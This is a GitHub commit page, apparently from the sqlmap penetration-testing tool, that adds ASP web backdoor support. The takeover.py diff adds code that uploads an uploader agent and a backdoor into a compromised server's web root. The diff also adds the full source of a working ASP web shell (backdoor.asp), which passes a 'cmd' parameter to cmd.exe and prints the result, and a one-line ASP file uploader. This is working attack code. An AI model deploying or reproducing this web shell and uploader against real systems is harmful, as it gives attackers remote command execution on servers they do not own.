Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit c5d20b8

Browse files
bdamelebdamele
committed
Initial support for ASP web backdoor functionality
1 parent f3e8d6d commit c5d20b8

4 files changed

Lines changed: 122 additions & 23 deletions

File tree

‎lib/request/connect.py‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -92,6 +92,9 @@ def getPage(**kwargs):
9292
url = "%s?%s" % (url, params)
9393
requestMsg += "?%s" % params
9494

95+
if post:
96+
post = urlencode(post).replace("%%", "%")
97+
9598
elif multipart:
9699
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
97100
conn = multipartOpener.open(url, multipart)

‎plugins/generic/takeover.py‎

Lines changed: 73 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -113,15 +113,14 @@ def __webBackdoorShell(self, backdoorUrl):
113113

114114
def __webBackdoorInit(self):
115115
"""
116-
This method is used to write a PHP agent (cmd.php) on a writable
116+
This method is used to write a web backdoor (agent) on a writable
117117
remote directory within the web server document root.
118-
Such agent is written using the INTO OUTFILE MySQL DBMS
119-
functionality
120118
"""
121119

122120
self.checkDbmsOs()
123121

124122
backdoorUrl = None
123+
language = None
125124
kb.docRoot = getDocRoot()
126125
directories = getDirs()
127126
directories = list(directories)
@@ -130,11 +129,44 @@ def __webBackdoorInit(self):
130129
infoMsg = "trying to upload the uploader agent"
131130
logger.info(infoMsg)
132131

133-
# TODO: backdoor and uploader extensions must be the same as of
134-
# the web application language in use
135-
backdoorName = "backdoor.php"
132+
message = "which web application language does the web server "
133+
message += "support?\n"
134+
message += "[1] ASP\n"
135+
message += "[2] PHP (default)\n"
136+
message += "[3] JSP"
137+
138+
while True:
139+
choice = readInput(message, default="2")
140+
141+
if not choice or choice == "2":
142+
language = "php"
143+
144+
break
145+
146+
elif choice == "1":
147+
language = "asp"
148+
149+
break
150+
151+
elif choice == "3":
152+
# TODO: add also JSP backdoor/uploader support
153+
errMsg = "JSP web backdoor functionality is not yet "
154+
errMsg += "implemented"
155+
raise sqlmapUnsupportedDBMSException, errMsg
156+
157+
#language = "jsp"
158+
159+
#break
160+
161+
elif not choice.isdigit():
162+
logger.warn("invalid value, only digits are allowed")
163+
164+
elif int(choice) < 1 or int(choice) > 3:
165+
logger.warn("invalid value, it must be 1 or 3")
166+
167+
backdoorName = "backdoor.%s" % language
136168
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
137-
uploaderName = "uploader.php"
169+
uploaderName = "uploader.%s" % language
138170
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
139171

140172
for directory in directories:
@@ -165,25 +197,44 @@ def __webBackdoorInit(self):
165197
logger.info(infoMsg)
166198

167199
# Upload the backdoor through the uploader agent
168-
multipartParams = {
169-
"upload": "1",
170-
"file": open(backdoorPath, "r"),
171-
"uploadDir": directory,
172-
}
173-
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
174-
175-
if "Backdoor uploaded" not in page:
176-
warnMsg = "unable to upload the backdoor through "
177-
warnMsg += "the uploader agent on '%s'" % directory
178-
logger.warn(warnMsg)
200+
if language == "php":
201+
multipartParams = {
202+
"upload": "1",
203+
"file": open(backdoorPath, "r"),
204+
"uploadDir": directory,
205+
}
206+
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
207+
208+
if "Backdoor uploaded" not in page:
209+
warnMsg = "unable to upload the backdoor through "
210+
warnMsg += "the uploader agent on '%s'" % directory
211+
logger.warn(warnMsg)
179212

180-
continue
213+
continue
214+
215+
elif language == "asp":
216+
backdoorRemotePath = "%s/%s" % (directory, backdoorName)
217+
backdoorRemotePath = os.path.normpath(backdoorRemotePath)
218+
backdoorContent = open(backdoorPath, "r").read()
219+
postStr = "f=%s&d=%s" % (backdoorRemotePath, backdoorContent)
220+
page, _ = Request.getPage(url=uploaderUrl, direct=True, post=postStr)
221+
222+
if "permission denied" in page.lower():
223+
warnMsg = "unable to upload the backdoor through "
224+
warnMsg += "the uploader agent on '%s'" % directory
225+
logger.warn(warnMsg)
226+
227+
continue
228+
229+
elif language == "jsp":
230+
# TODO: add also JSP backdoor/uploader support
231+
pass
181232

182233
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
183234

184-
infoMsg = "the backdoor has been successfully uploaded on "
185-
infoMsg += "'%s', go with your browser to " % directory
186-
infoMsg += "'%s' and enjoy it!" % backdoorUrl
235+
infoMsg = "the backdoor has probably been successfully "
236+
infoMsg += "uploaded on '%s', go with your browser " % directory
237+
infoMsg += "to '%s' and enjoy it!" % backdoorUrl
187238
logger.info(infoMsg)
188239

189240
break

‎shell/backdoor.asp‎

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
<!--
2+
3+
ASP_KIT
4+
5+
cmd.asp = Command Execution
6+
7+
by: Maceo
8+
modified: 25/06/2003
9+
10+
-->
11+
12+
<%
13+
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
14+
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
15+
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
16+
17+
szCMD = request("cmd")
18+
19+
If (szCMD <> "") Then
20+
szTempFile = "C:\" & oFileSys.GetTempName()
21+
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
22+
Set oFile = oFileSys.OpenTextFile(szTempFile, 1, False, 0)
23+
End If
24+
%>
25+
26+
<HTML>
27+
<BODY>
28+
<FORM action="" method="GET">
29+
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
30+
<input type="submit" value="Run">
31+
</FORM>
32+
<PRE>
33+
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
34+
<br>
35+
<%
36+
If (IsObject(oFile)) Then
37+
On Error Resume Next
38+
Response.Write Server.HTMLEncode(oFile.ReadAll)
39+
oFile.Close
40+
Call oFileSys.DeleteFile(szTempFile, True)
41+
End If
42+
%>
43+
</BODY>
44+
</HTML>

‎shell/uploader.asp‎

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1,2 @@
1-
<%set f = server.createobject("Scripting.FileSystemObject"):set o=f.OpenTextFile(Request("f"), 2, True):o.Write Request("d"):o.Close:set o=Nothing:set f=Nothing%>
1+
<p><b>sqlmap backdoor uploader</b></p>
2+
<%set f = server.createobject("Scripting.FileSystemObject"):set o=f.OpenTextFile(Request("f"), 2, True):o.Write Request("d"):o.Close:set o=Nothing:set f=Nothing%>

0 commit comments

Comments
 (0)